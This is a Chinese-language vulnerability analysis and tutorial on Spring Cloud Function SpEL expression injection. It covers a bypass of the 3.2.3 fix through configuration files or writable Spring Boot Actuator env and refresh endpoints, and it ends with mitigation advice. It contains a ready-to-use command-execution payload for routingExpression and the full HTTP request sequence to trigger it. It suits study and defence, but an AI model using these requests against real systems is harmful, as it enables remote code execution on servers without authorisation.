Spring Cloud Function 新RCE 介绍及分析(借助配置文件或spring boot actuator)
字数 1392 2025-08-12 11:34:33

Spring Cloud Function SPEL表达式注入漏洞分析与利用

漏洞背景

2022年3月,Spring Cloud Function被披露存在SPEL表达式注入漏洞,影响版本从3.0.0.RELEASE到3.2.2。官方在3.2.3版本中修复了该漏洞。本教学文档将详细分析该漏洞的原理及多种利用方式。

漏洞原理分析

原始漏洞点

最初发现的漏洞是通过HTTP头中的spring.cloud.function.routing-expression参数进行SPEL表达式注入:

// 原始漏洞代码
functionFromExpression(String routingExpression, Object input)

攻击者可以通过构造恶意HTTP请求头来执行任意代码。

官方修复方式

在3.2.3版本中,官方通过commit dc5128b修复了该漏洞,主要改动是:

  1. 重载了functionFromExpression方法,新增isViaHeader参数
  2. isViaHeader为true时,使用SimpleEvaluationContext处理header输入
  3. isViaHeader为false时,才使用StandardEvaluationContext处理
// 修复后的代码
functionFromExpression(String routingExpression, Object input, boolean isViaHeader)

绕过修复的新攻击面

虽然修复了HTTP头注入的方式,但发现:

  1. 从配置文件中获取spring.cloud.function.routingExpression时,仍然调用的是原始的functionFromExpression(String routingExpression, Object input)方法
  2. FunctionProperties类通过@ConfigurationProperties注解绑定外部配置参数
  3. 因此可以通过控制配置文件中的spring.cloud.function.routingExpression值来触发SPEL注入

漏洞利用方式

方法一:直接修改配置文件

application.propertiesapplication.yml中添加恶意配置:

spring.cloud.function.definition=functionRouter
spring.cloud.function.routingExpression=T(java.lang.Runtime).getRuntime().exec("calc")

注意:这种方式严格来说不算漏洞,因为需要开发者权限修改配置文件。

方法二:通过Spring Boot Actuator修改环境变量

前提条件

  1. Actuator的env和refresh端点已暴露
  2. 环境允许env端点写入(Spring Cloud特性)

利用步骤

  1. 写入恶意配置
POST /actuator/env HTTP/1.1
Host: 127.0.0.1:9000
Content-Type: application/json
Content-Length: 109

{
    "name":"spring.cloud.function.routingExpression",
    "value":"T(java.lang.Runtime).getRuntime().exec('calc')"
}
  1. 刷新配置生效
POST /actuator/refresh HTTP/1.1
Host: 127.0.0.1:9000
  1. 触发漏洞执行
POST /functionRouter/qqq HTTP/1.1
Host: 127.0.0.1:9000

Actuator端点配置

要使上述方法生效,需要以下配置:

management.endpoint.refresh.enabled=true
management.endpoint.env.post.enabled=true
management.endpoints.web.exposure.include=env,restart,refresh

注意事项

  • Spring Cloud Hoxton.SR3版本后对env端点的可写性做了限制
  • 如果遇到"POST /actuator/env returns 405 method not allowed",需要确保management.endpoint.env.post.enabled=true

影响版本

  • Spring Cloud Function 3.0.0.RELEASE 至 3.2.2

修复建议

  1. 升级到Spring Cloud Function 3.2.3或更高版本
  2. 限制Actuator端点的访问权限
  3. 禁用不必要的Actuator端点

技术总结

该漏洞展示了Spring框架中SPEL表达式注入的多种利用方式,特别是通过环境变量和配置文件的间接注入方式。理解这种攻击模式有助于开发者更好地保护应用程序安全。

Spring Cloud Function SPEL表达式注入漏洞分析与利用 漏洞背景 2022年3月,Spring Cloud Function被披露存在SPEL表达式注入漏洞,影响版本从3.0.0.RELEASE到3.2.2。官方在3.2.3版本中修复了该漏洞。本教学文档将详细分析该漏洞的原理及多种利用方式。 漏洞原理分析 原始漏洞点 最初发现的漏洞是通过HTTP头中的 spring.cloud.function.routing-expression 参数进行SPEL表达式注入: 攻击者可以通过构造恶意HTTP请求头来执行任意代码。 官方修复方式 在3.2.3版本中,官方通过commit dc5128b修复了该漏洞,主要改动是: 重载了 functionFromExpression 方法,新增 isViaHeader 参数 当 isViaHeader 为true时,使用 SimpleEvaluationContext 处理header输入 当 isViaHeader 为false时,才使用 StandardEvaluationContext 处理 绕过修复的新攻击面 虽然修复了HTTP头注入的方式,但发现: 从配置文件中获取 spring.cloud.function.routingExpression 时,仍然调用的是原始的 functionFromExpression(String routingExpression, Object input) 方法 FunctionProperties 类通过 @ConfigurationProperties 注解绑定外部配置参数 因此可以通过控制配置文件中的 spring.cloud.function.routingExpression 值来触发SPEL注入 漏洞利用方式 方法一:直接修改配置文件 在 application.properties 或 application.yml 中添加恶意配置: 注意 :这种方式严格来说不算漏洞,因为需要开发者权限修改配置文件。 方法二:通过Spring Boot Actuator修改环境变量 前提条件 : Actuator的env和refresh端点已暴露 环境允许env端点写入(Spring Cloud特性) 利用步骤 : 写入恶意配置 : 刷新配置生效 : 触发漏洞执行 : Actuator端点配置 要使上述方法生效,需要以下配置: 注意事项 : Spring Cloud Hoxton.SR3版本后对env端点的可写性做了限制 如果遇到"POST /actuator/env returns 405 method not allowed",需要确保 management.endpoint.env.post.enabled=true 影响版本 Spring Cloud Function 3.0.0.RELEASE 至 3.2.2 修复建议 升级到Spring Cloud Function 3.2.3或更高版本 限制Actuator端点的访问权限 禁用不必要的Actuator端点 技术总结 该漏洞展示了Spring框架中SPEL表达式注入的多种利用方式,特别是通过环境变量和配置文件的间接注入方式。理解这种攻击模式有助于开发者更好地保护应用程序安全。